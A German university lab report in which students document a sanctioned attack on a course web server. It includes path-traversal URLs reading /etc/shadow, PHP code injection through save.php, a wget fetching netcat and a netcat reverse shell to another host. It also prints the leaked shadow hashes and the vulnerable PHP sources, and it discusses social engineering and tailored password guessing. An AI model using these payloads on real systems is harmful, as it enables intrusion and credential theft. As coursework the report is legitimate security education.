



TECHNISCHE
UNIVERSITÄT
WIEN
VIENNA
UNIVERSITY OF
TECHNOLOGY

Security VU

183.124

WS2003/2004

Lab 2 Arbeitsprotokoll

Angriff auf einen Webserver

Haider Gerald (0125638)
Radl Christoph (0102799)
Schachinger Josef (0125692)

Inhaltsverzeichnis

1	EINFÜHRUNG	3
2	LAB 2A – SHADOW DATEI & SOURCECODE DER SCRIPTE	4
3	LAB 2B – NETCAT „INSTALLIEREN“	4
4	LAB 2C – ROOT SHELL	5
5	LAB 2D – SONSTIGES	6
5.1	Welche Spuren hat dieser Angriff hinterlassen?	6
5.2	Möglichkeiten des Angreifers, einen gültigen Account zu erhalten?	6
5.2.1	Social Engineering:	6
5.2.2	Dictionay Attack bzw. Brute Force Attack	7
5.2.3	Dumpster Driving	7
	ANHANG 1 – SHADOW DATEI	8
6	ANHANG 2 – SOURCECODE DER PHP SCRIPTE	8
6.1	browse.php	8
6.2	choose.php	10
6.3	index.php	11
6.4	login.php	11
6.5	logout.php	13
6.6	preview.php	13
6.7	save.php	14
7	ZUSAMMENFASSUNG	16
8	REFERENZEN	16

1 Einführung

Vorbedingungen für unsere Arbeit „Lab2“:

Wir haben mittels SSH (Secure Shell) Zugang zu dem Rechner security.rise.tuwien.ac.at. Für unsere Arbeit haben wir dabei den frei verfügbaren SSH Client PuTTY, Lynx, Mozilla und noch etliche andere Tools verwendet. Unsere Aufgabe besteht bei diesem Teil der Übung darin, die „Gaining Access“-Phase des „Einbrechens“ in Computersysteme zu absolvieren.

Wir gehen also gemäß den im Buch „Counterhack“ [1] eingeteilten Phasens des Hackens davon aus, dass wir die sog. Reconnaissance-Phase und Scanning Phase bereits absolviert haben. Benutzername und Passwort für das Ausgangssystem haben wir uns somit bereits verschafft, und wir sind auch schon über die vorhandenen Systeme informiert.

2 Lab 2a – Shadow Datei & Sourcecode der Skripte

Da wir durch geschicktes Ausprobieren und mit etwas Glück die Authentifizierungsdaten eines Angestellten dieser Firma herausgefunden hatten konnten wir als ersten Schritt gleich in die zu „knackende“ Webanwendung regulär einsteigen. Dazu wurde zuerst ein Port-Forwarding mittels SSH eingerichtet um sich die Mühen des Command-Line Browsers Lynx zu ersparen.

Als erste Tätigkeit wurde der Sourcecode aller erreichbaren Webseiten analysiert, wobei sofort folgende URLs auffielen:

```
http://192.168.3.201/browse.php?f_dir=/part1/part1.txt
```

Wie man sofort sehen kann wird der Pfad der anzuzeigenden Datei direkt über einen Parameter an die PHP Seite übergeben. Da der übergebene Pfad aber nicht überprüft wird kann man den unter Unix üblichen Shortcut „..“ verwenden um in das darüber liegende Verzeichnis zu wechseln. Darum kann mit den folgenden URLs die Shadow Datei und der Sourcecode der PHP Skripte eingesehen werden:

```
http://192.168.3.201/browse.php?f_dir=../../../../etc/shadow
http://192.168.3.201/browse.php?f_dir=../../../../usr/local/bin/apache/htdocs/
```

Die /etc/shadow-Datei könnten nun bequem auf unserem eigenen Rechner durch ein Cracker-Programm „bearbeiten“ um an alle Passwörter zu gelangen.

Das ganze war natürlich nur möglich, weil der Apache Server als root User lief.

3 Lab 2b – Netcat „installieren“

Nachdem wir jetzt bereits uneingeschränkten Lesezugriff auf alle Systemdateien hatten sollte jetzt durch ausnützen eine Lücke in der Webapplikation das Programm Netcat von einem anderen Rechner (http://192.168.2.25/nc_gruppeNNN) auf den anzugreifenden Server transferiert werden.

Um das zu ermöglichen, wurde von uns die vorhandenen Skripte auf Möglichkeiten zur „Code Injection“ untersucht. Das Prinzip von „Code Injection“ basiert darauf, dass man versucht anstatt der vom Programmierer des Scripts erwarteten „harmlosen“ Usereingaben, ausführbaren Code (in diesem Falle PHP Code) einschleust.

Bei der Untersuchung des vorhandenen Sourcecodes wurden wir auf den Script save.php aufmerksam, welcher etwaige Parameter die ihm übergeben werden direkt in die Datei /security/home/gruppeNNN/pref.inc schreibt. Das an sich würde uns noch nichts bringen, aber die Datei pref.inc wird anschließend ja über ein include Statment im Script browse.php direkt eingebunden. Also mussten wir nur noch dem Script save.php als Parameter unseren PHP Code übergeben.

Durch die Eingabe des folgenden URL wurde das getestet:

```
http://192.168.3.201/save.php?textcolor=blue&&bgcolor=white"; echo "\">
AAA"; $return = exec("uptime"); echo $return;
```

Da die Übergabe von Sonderzeichen via URL problematisch ist, wurde der hintere Teil der URLs „URLEncoded“. Beim „URLEncoden“ wird jedes Zeichen durch das Zeichen „%“ und den Hex-Wert des darzustellenden Zeichens codiert (siehe auch [2]). (Dies wurde mittels

eines Javascripts der unter <http://www.robertgraham.com/tools/mailtoencoder.html> zu finden ist erledigt.) Der resultierende URL sieht nun so aus:

```
http://192.168.3.201/save.php?textcolor=blue&&bgcolor=%77%68%69%74%65%22%3B%20%65%63%68%6F%20%22%5C%22%3E%20%41%41%41%22%3B%20%24%72%65%74%75%72%6E%20%3D%20%65%78%65%63%28%22%75%70%74%69%6D%65%22%29%3B%20%65%63%68%6F%20%24%72%65%74%75%72%6E%3B
```

Nun konnten wir in der angezeigten Webseite den Output des Kommandos ablesen:

```
AAA 7:01pm up 19:50, 0 users, load average: 0.00, 0.00, 0.00
```

Somit war die größte Hürde gemeistert. Bei den nachfolgenden URLs wird aus Gründen der Lesbarkeit nur noch die uncodierte Form angegeben.

Das Transferieren von Netcat auf das angegriffene System erfolgte mit diesem Befehl:

```
http://192.168.3.201/save.php?textcolor=blue&&bgcolor=white"; echo "\">>AAA"; $return = exec("wget http://192.168.2.25/nc_gruppe026"); echo $return;
```

Da die Datei mit obigen Befehl ins /usr/local/bin/apache/htdocs/ Verzeichnis transferiert wurde, musste sie mit dem mv Befehls ins Home Verzeichnis verschoben werden:

```
http://192.168.3.201/save.php?textcolor=blue&&bgcolor=white"; echo "\">>AAA"; $return = exec("mv -v ./nc_gruppe026 /security/home/gruppe026/"); echo $return;
```

Jetzt wurden mittels chmod noch die Rechte der Datei dahingehend geändert dass sie ausführbar wurde:

```
http://192.168.3.201/save.php?textcolor=blue&&bgcolor=white"; echo "\">>AAA"; $return = exec("chmod -v a+x /security/home/gruppe026/nc_gruppe026"); echo $return;
```

4 Lab 2c – Root Shell

Jetzt fehlte nur mehr der letzte Schritt das Öffnen einer root Shell, und damit die volle Kontrolle über den angegriffenen Server. Da das System hinter einer Firewall steht, welche alle eingehenden Verbindungen bis auf Port 80 verhindert, aber alle ausgehenden Verbindungen erlaubt, war sofort klar das wir die Verbindung vom angegriffenen System zurück auf unsere Arbeitsstation machen mussten.

Dazu wurde auf dem Rechner 192.168.0.10 mittels Netcat ein Listening Port geöffnet:

```
bash-2.05a$ nc -l -p 3026
```

Auf dieses Listening Port wurde dann vom angegriffenen System aus mittels folgendem Kommando verbunden:

```
http://192.168.3.201/save.php?textcolor=blue&&bgcolor=white"; echo "\">>AAA"; $return = exec("/security/home/gruppe026/nc_gruppe026 192.168.0.10 3026 -e /bin/bash"); echo $return;
```

So und nun haben wir eine Root Shell vor uns, jetzt noch schnell den Eintrag im `guestbook.txt`:

```
cd /root
echo „24.11.2003 21:50 | Gruppe 026 | So long, and thanks for all the fish!
Greetings from the Krikkit Empire ;-)" >> guestbook.txt
```

5 Lab 2d – Sonstiges

5.1 Welche Spuren hat dieser Angriff hinterlassen?

Spuren sind das beste Zeichen für einen erfolgten Angriff, dies gilt im realen Leben genauso wie in der virtuellen Welt. Dementsprechend sind auch Reaktionen von den Systembetreuern notwendig. Natürlich heißen diese Spuren auch, dass das bisher verfolgte Sicherheitskonzept nicht gefruchtet hat und Überarbeitungen notwendig sind.

Selbstverständlich hat auch unser Angriff auf das System Spuren hinterlassen. Diese finden sich zum Beispiel in der `error.log(/usr/local/bin/apache/logs/error_log)`, hier sind alle misslungenen Versuche aufgelistet. Es ist so gut wie unmöglich hier keinen Eintrag zu erlangen. Natürlich soll versucht werden, diese Anzahl so gering wie möglich zu halten, da mehr Einträge auch verstärkter auffallen. Aber es gibt noch einen weiteren Punkt an dem man sicher Spuren hinterlässt, im `.bash_history` wird jede Eingabe des entsprechenden Accounts mitprotokolliert, in diesem enthält die Datei jedoch nichts. Normalerweise würde auch in der `access.log` der erfolgreiche Zugang mitprotokolliert, diese ist aber bei der derzeitigen Systemkonfiguration nicht aktiv.

Abschließend sei noch zu sagen, dass es durchaus möglich ist Einträge in Logfiles auch wieder zu löschen, bzw. auch die Timestamps der Dateien zurückzusetzen, der „normale“ Angreifer würde zu diesem Zwecke wohl als erstes ein Rootkit installieren. Während des Angriff selbst könnte den aufmerksamen Administrator natürlich auch die offenen Verbindungen auffallen welche er mit `netstat` anzeigen kann.

5.2 Möglichkeiten des Angreifers, einen gültigen Account zu erhalten?

5.2.1 Social Engineering:

Hier gibt es einige gute Varianten an einen Benutzeraccount zu gelangen. Der Angreifer könnte sich beispielsweise in einem Fake-Mail als Systemadministrator ausgeben und User, die für ihre schlechten Computerkenntnisse bekannt sind, auffordern ihm zu irgendwelchen Zwecken die Login Daten per Mail zu schicken.

Auch könnte er sich als neuer Mitarbeiter oder externer Berater ausgeben der „schnell mal“ an einem Firmencomputer etwas erledigen muss, und deshalb einen Login benötigt. Hauptziel sollten hier Mitarbeiter sein, von denen bekannt ist, dass sie z.B. sich die Mails von anderen ausdrucken lassen, also leicht beeinflussbar sind was Computer betrifft.

Nicht zu unterschätzen ist auch, dass „charmante Damen“ mitunter noch leichter an Passwörter u.ä. kommen können, so kann durch den altbewährten „Augenaufschlag“ schnell ein ganzes Sicherheitskonzept ausgehebelt werden.

5.2.2 Dictionary Attack bzw. Brute Force Attack

Systematisches Durchprobieren von Logindaten führt mit ziemlicher Sicherheit zum Ziel. Eine weitere, relativ effektive, Methode kann es sein, bei bekanntem Loginnamen die wahrscheinlichsten Passwörter diese Person betreffen durchzuprobieren, denn nicht wenige Leute haben nach wie vor triviale Passwörter. Geburtsdaten, zweite Vornamen, Loginname oder Namen aus der Familie sind die Varianten die gleich zu Beginn ausprobiert werden sollten. So könnte man für bestimmte User je ein maßgeschneidertes Dictionary erstellen welches unterschiedliche Wörter, diese Person betreffend, kombiniert um schnell ein breites Feld wahrscheinlicher Passwörter abzudecken. Es kann weiters sehr effektiv sein, bei Diensten für die ein User früher angemeldet war, dessen damaliges Passwort zu ermitteln, da viele Benutzer stets nur ihr „altes“ Passwort in neue Accounts übernehmen.

Allerdings ergeben sich gerade durch aktuelle Entwicklungen im Sicherheitsbereich neue Probleme für die eingangs beschrieben systematischen Brute Force Attacken. Im Wesentlichen unterscheiden wir drei Hauptprobleme bei dieser Methode:

1. Automatisiertes Durchprobieren muss sehr schnell hintereinander erfolgen um in angemessener Zeit mit dem richtigen Login zu terminieren. Diese Versuche erzeugen nicht unerhebliche Mengen an Serverlast/Webtraffic was der Angegriffene bemerken könnte.
2. Bei manchen Anmeldesystemen wird der Login nach einer gewissen Zahl an Fehlversuchen automatisch deaktiviert.
3. In großen Unternehmen wird vermehrt dazu übergegangen, beim Anmeldeverfahren „Identifikation durch Wissen“(Passwort) um die Komponente „Identifikation durch Besitz“ zu ergänzen. Ein sogenanntes Security Token (siehe [3]) wird von Mitarbeitern mitgeführt und generiert in Abständen von z.B. 60 Sekunden mittels Hashfunktion einen Wert der bei der beim Login zusätzlich angeführt werden muss. Solche Verfahren führen konventionelle Brute Force Attacken ad absurdum. Nur ein Diebstahl des Geräts bzw. ein Ermitteln der Hashfunktion kann bei diesem Verfahren zum Ziel führen.

5.2.3 Dumpster Driving & Sonstiges

Wie bereits in unserem ersten Protokoll angeführt handelt es sich hierbei unter anderem auch um das Durchwühlen des Mülls den die Mitarbeiter des Zielsystems produzieren. Dieser Begriff kann jedoch auch weiter gefasst werden, so könnten Pinwände im Zielunternehmen inspiziert werden oder der Arbeitsplatz eines Mitarbeiters nach Notizzetteln mit Logindaten untersucht werden. Vielfach sind Logindaten auch auf Unterseiten von Möbeln oder Geräten z.B. Laptops zu finden. Weiters könnte bei kurzer Abwesenheit eines Mitarbeiters dessen Email Postfach eingesehen bzw. der Inhalt kopiert werden. Auch der oben erwähnte Diebstahl eines Security Tokens bzw. das Beschaffen eines wegen kleiner Mängel ausgeschieden Tokens würde in diese Kategorie passen. Schlussendlich könnte die nähere Umgebung des Aktenvernichters nach Zetteln abgesucht werden die ihrem tödlichen Schicksal knapp entgangen sind, bzw. erst auf ihre Vernichtung warten.

Alles in allem sehr effektive Methoden, jedoch ist hier oft sehr schnell ein realer strafrechtlicher Tatbestand gegeben z.B. Hausfriedensbruch, Diebstahl, oder Betriebsespionage. Deshalb Vorsicht denn aus dem Gefängnis hackt es sich bekanntermaßen schlecht.

Anhang 1 – Shadow Datei

```

root:$1$.JZXkfPW$38w.Nl.c9SgjROOdLpA4Y.:12372:0:99999:7:::
bin:*:12324:0:99999:7:::
daemon:*:12324:0:99999:7:::
adm:*:12324:0:99999:7:::
lp:*:12324:0:99999:7:::
sync:*:12324:0:99999:7:::
shutdown:*:12324:0:99999:7:::
halt:*:12324:0:99999:7:::
mail:*:12324:0:99999:7:::
news:*:12324:0:99999:7:::
uucp:*:12324:0:99999:7:::
operator:*:12324:0:99999:7:::
games:*:12324:0:99999:7:::
gopher:*:12324:0:99999:7:::
ftp:*:12324:0:99999:7:::
nobody:*:12324:0:99999:7:::
rpm:!!:12324:0:99999:7:::
vcsa:!!:12324:0:99999:7:::
mailnull:!!:12324:0:99999:7:::
gruppe001:$1$nduWA$piC66Om/icVEEfEDx3Uy/1:12338:0:99999:7:::
...
gruppe026:$1$vrntF$1BqE3lmF4K2k2x1uyI5fO1:12338:0:99999:7:::
...
gruppe150:$1$.e/qK$4B.Cjzz6jriuqmThWfLV8.:12338:0:99999:7:::

```

6 Anhang 2 – Sourcecode der PHP Skripte

6.1 browse.php

```

<?php

// -----
//
// browse.php
//
// Browses through users home directory
// Opens files
//
// -----

// catch post variables
// returns: NULL if post variable does not exist
//          value of post variable if exists
function catch_request($name)
{
    $GLOBALS[$name]=NULL;
    if(isset($_REQUEST[$name])):
        $GLOBALS[$name]=$_REQUEST[$name];
    endif;
}

// *****
// *
// *      MAIN PROGRAM
// *
// *****

// Get session and session variables
// Verify session
session_start();

if(!session_is_registered("SESSION_UNAME"))
{
    echo      "<html><title>Login      Failed</title><body><h1>Authentication      fai-
led</h1></body></html>";
    exit();
}

```

```

// Open and print out personal
// header file
include("/security/home/" . $_SESSION["SESSION_UNAME"] . "/pref.inc");

echo "<p><center><h1>Hello " . $_SESSION["SESSION_UNAME"] . "!</h1></center></p>\n";

echo "<p><a href=\"choose.php\">Configure your personal layout...</a></p>\n";

echo "<p><b><a href=\"logout.php\">Logout</a></b></p>\n";

echo "<hr>\n";

catch_request("f_dir");

$f_dir_base="/security/home/" . $_SESSION["SESSION_UNAME"];

echo "Current Directory or File: <i>." . ($f_dir_base . $f_dir) . "</i><br>\n";

echo "<hr>\n";

// Open file
if (is_file(($f_dir_base . $f_dir))) {

    $file=fopen(($f_dir_base . $f_dir), "r");

    echo "<p>\n<pre>\n";

    while (!feof($file)) {
        $line=fgets($file,1024);
        echo " . $line;
    }

    fclose($file);

    echo "\n</pre>\n</p>\n";
} else
// Browse directory
if (is_dir(($f_dir_base . $f_dir))) {

    $arr = explode("/", $f_dir);

    $previous_dir="";

    for ($i = 1; $i < count($arr)-1; $i++) {$previous_dir=$previous_dir . "/" . $arr[$i]; }

    echo "<a href=\"browse.php?f_dir=$previous_dir\">...</a><br>\n";

    if ($handle = opendir(($f_dir_base . $f_dir))) {
        while (false != ($file = readdir($handle))) {
            if ($file != "." && $file != "..") {
                if (is_dir(($f_dir_base . $f_dir . '/' . $file))) { echo "<ul><li>"; }
                echo "<a href=\"browse.php?f_dir=$f_dir/$file\">$file</a>";
                if (is_dir(($f_dir_base . $f_dir . '/' . $file))) { echo "</li></ul>"; }
            }

            echo "<br>\n";
        }
    }

    closedir($handle);
}

} else
// Print out error message
{
    echo "\n<p><h2>File or Direcorey not found</h2></p>\n";
}

echo "\n</body>\n</html>\n";

?>

```

6.2 choose.php

```

<?php

// -----
//
// choose.php
//
// Displays form to select
// background and text color
//
// -----

// *****
// *
// *      MAIN PROGRAM      *
// *
// *****

// Get session and session variables
// Verify session
session_start();

if(!session_is_registered("SESSION_UNAME"))
{
    echo      "<html><title>Login      Failed</title><body><h1>Authentication      fai-
led</h1></body></html>";
    exit();
}

// Open and print out personal
// header file
include( "/security/home/" . $_SESSION["SESSION_UNAME"] . "/pref.inc" );

echo "<p><center><h1>Hello " . $_SESSION["SESSION_UNAME"] . "!</h1></center></p>\n";

echo "<p><a href=\"browse.php\">Browse Home Directory...</a></p>\n";

echo "<p><b><a href=\"logout.php\">Logout</a></b></p>\n";

echo "<hr>\n";

echo "<form action=\"preview.php\">\n";

echo "<p>Background colour:</p>\n";
echo "<p>\n";
echo "<input type=\"radio\" name=\"bgcolor\" value=\"white\" checked> White<br>\n";
echo "<input type=\"radio\" name=\"bgcolor\" value=\"wheat\"> Wheat<br>\n";
echo "<input type=\"radio\" name=\"bgcolor\" value=\"brown\"> Brown<br>\n";
echo "<input type=\"radio\" name=\"bgcolor\" value=\"beige\"> Beige\n";
echo "</p>\n";

echo "<p>Text colour:</p>\n";
echo "<p>\n";
echo "<input type=\"radio\" name=\"textcolor\" value=\"black\" checked> Black<br>\n";
echo "<input type=\"radio\" name=\"textcolor\" value=\"blue\"> Blue<br>\n";
echo "<input type=\"radio\" name=\"textcolor\" value=\"red\"> Red<br>\n";
echo "<input type=\"radio\" name=\"textcolor\" value=\"green\"> Green\n";
echo "</p>\n";

echo "<input type=\"reset\" value=\" Reset \>\n";
echo "<input type=\"submit\" value=\" Preview \>\n";

echo "</form>\n";

echo "\n</body>\n</html>\n";

?>

```

6.3 index.php

```

<html>
<title>S-E-C-U-R-E Webaccess</title>
<body>

<center>

<h1>S-E-C-U-R-E WebAccess</h1>

<table border="0" cellspacing="5" cellpadding="5">

  <form action="login.php" method="POST">

    <tr>
      <td>Username</td>
      <td><input type="text" size="10" name="f_user"></td>
    </tr>

    <tr>
      <td>Password</td>
      <td><input type="password" size="10" name="f_pass"></td>
    </tr>

    <tr>
      <td colspan="2" align="center"><input type="submit" name="submit" value="Log In"></td>
    </tr>

  </form>

</table>

</center>

</body>
</html>

```

6.4 login.php

```

<?
// -----
//
// login.php
//
// Performs validity check of username
// and password
//
// -----

// verify if string is "gruppe"
// returns: TRUE if string is gruppe
//          FALSE else
function str_is_valid_gruppe($str) {

    if      ((strlen($str)==9)      &&      (substr($str,0,6)=="gruppe")      &&
(is_numeric(substr($str,6,3)))) {

        return true;

    } else {

        return false;

    }

}

// authenticate username/password
// returns: -1 if user does not exist
//          0 if user exists but password is incorrect

```

```

//          1 if username and password are correct
function authenticate($user, $pass)
{
    // default: user does not exist
    $result = -1;

    $data = file("/etc/shadow");

    foreach ($data as $line)
    {
        $arr = explode(":", $line);

        if ($arr[0] == $user)
        {
            $salt = substr($arr[1], 0, 11);

            if ($arr[1] == crypt($pass, $salt))
            {
                // username and password are correct
                $result = 1;
                break;
            }
            else
            {
                // user exists but password is incorrect
                $result = 0;
                break;
            }
        }
    }

    return $result;
}

// catch post variables
// returns: NULL if post variable does not exist
//          value of post variable if exists
function catch_request($name)
{
    $GLOBALS[$name]=NULL;
    if(isset($_REQUEST[$name])):
        $GLOBALS[$name]=$_REQUEST[$name];
    endif;
}

// *****
// *
// *          MAIN PROGRAM          *
// *
// *****

catch_request("f_user");
catch_request("f_pass");

if  (!isset($f_user)  ||  !isset($f_pass)  ||  ($f_user=="")  ||  ($f_pass=="")  ||
!str_is_valid_gruppe($f_user)) { $status=-1; } else { $status = authenticate($f_user,
$f_pass);}

// username and password are correct
// start session and log in
if ($status == 1)
{
    // initiate a session
    session_start();

    // register some session variables
    //session_register("SESSION");
}

```

```

        // including the username
        session_register("SESSION_UNAME");
        $_SESSION['SESSION_UNAME'] = $_user;

        // redirect to protected page
        header("Location: browse.php");
        exit();
    }
    else
    // username and password are not correct
    // print out error message and exit
    {
        echo      " <html><title>Login      Failed</title><body><h1>Authentication      fai-
led</h1></body></html>";
        exit();
    }
?>

```

6.5 logout.php

```

<?
// -----
//
// logout.php
//
// Terminates session and
// logs out
//
// -----

// destroy session data
session_start();
session_destroy();

?>

<html>
<title>S-E-C-U-R-E Webaccess</title>
<body>

<center>

<h1>Logout successful</h1>

<p>If you want to log in again please <a href="index.php">click here</a></p>

</center>

</body>
</html>

```

6.6 preview.php

```

<?php
// -----
//
// preview.php
//
// Previews selected text colour
// and background colour
//
// -----

// catch post variables

```

```

// returns: NULL if post variable does not exist
// value of post variable if exists
function catch_request($name)
{
    $GLOBALS[$name]=NULL;
    if(isset($_REQUEST[$name])):
        $GLOBALS[$name]=$_REQUEST[$name];
    endif;
}

// *****
// *
// *     MAIN PROGRAM
// *
// *****

// Get session and session variables
// Verify session
session_start();

if(!session_is_registered("SESSION_UNAME"))
{
    echo          "<html><title>Login          Failed</title><body><h1>Authentication
failed</h1></body></html>";
    exit();
}

catch_request("bgcolor");
catch_request("textcolor");

echo "<html>\n";
echo "<title>PREVIEW LAYOUT</title>\n";
echo "<body ;

if (isset($bgcolor)) { echo bgcolor=$bgcolor ;}
if (isset($textcolor)) { echo text=$textcolor ;}

echo  >\n";

echo "<p><center><h1>Hello " . $_SESSION["SESSION_UNAME"] . "!</h1></center></p>\n";

echo "<p><a href=\"browse.php\">Browse Home Directory...</a></p>\n";

echo "<p><b><a href=\"logout.php\">Logout</a></b></p>\n";

echo "<hr>\n";

echo "<p><a href=\"save.php?textcolor=$textcolor&&bgcolor=$bgcolor\">SAVE layout</a></p>\n";
echo "<p><a href=\"choose\">Select another layout</a></p>\n";

echo "\n</body>\n</html>\n";

?>

```

6.7 save.php

```

<?php

// -----
//
// save.php
//
// Saves selected text colour and
// background colour in pref.inc
// in users home directory
//
//
// -----

// catch post variables
// returns: NULL if post variable does not exist
// value of post variable if exists
function catch_request($name)

```

```

{
  $GLOBALS[$name]=NULL;
  if(isset($_REQUEST[$name])):
    $GLOBALS[$name]=$_REQUEST[$name];
  endif;
}

// *****
// *
// *      MAIN PROGRAM
// *
// *****

// Get session and session variables
// Verify session
session_start();

if(!session_is_registered("SESSION_UNAME"))
{
  echo          "<html><title>Login          Failed</title><body><h1>Authentication
failed</h1></body></html>";
  exit();
}

catch_request("textcolor");
catch_request("bgcolor");

$textcolor=stripslashes($textcolor);
$bgcolor=stripslashes($bgcolor);

$EntriesFilePointer = fopen( "/security/home/".$_SESSION["SESSION_UNAME"]."/pref.inc", "w");

fwrite($EntriesFilePointer, "<?php\n", 200);
fwrite($EntriesFilePointer, "// -----<br>\n", 200);
fwrite($EntriesFilePointer, "// HEADER File\n\n", 200);

fwrite($EntriesFilePointer, "echo \<html>\n\n";\n", 200);
fwrite($EntriesFilePointer, "echo \<title>\n\n";\n", 200);
fwrite($EntriesFilePointer, "echo \S-E-C-U-R-E Webaccess";\n", 200);
fwrite($EntriesFilePointer, "echo \</title>\n\n";\n", 200);
fwrite($EntriesFilePointer, "echo          \<body          text=\\\\"$textcolor\\\\"
bgcolor=\\\\"$bgcolor\\\\">\n\n\n";\n", 200);

fwrite($EntriesFilePointer, "?>\n", 200);

fclose($EntriesFilePointer);

header("Location: browse.php");
exit();

?>

```

7 Zusammenfassung

Alles in allem eine sehr interessante Übung, die uns einmal mehr vor Augen führt wie vorsichtig man beim Programmieren von Webanwendungen sein sollte, wenn man nicht das Opfer des erstbesten Angreifers werden will.

Darum sollte:

- Apache sollte niemals als root laufen.
- Jegliche Art von Eingabe des Users bei Webanwendungen äußerst vorsichtig behandelt, und niemals direkt übernommen werden.
- Mitarbeitern die Wichtigkeit ihrer Logindaten klargemacht werden
- Mitarbeitern entweder ein generiertes Passwort zugewiesen werden, oder überprüft werden ob das (triviale) Standardpasswort jemals geändert wurde.

8 Referenzen

[1] Skoudis, Ed: Counter Hack, Prentice Hall 2002

[2] W3C Homepage, <http://www.w3.org/International/O-URL-code.html>, (Zugriff 24.11.2003)

[3] RSA-Security Homepage, <http://www.rsasecurity.com/products/secuid/index.html> (Zugriff 28.11.2003)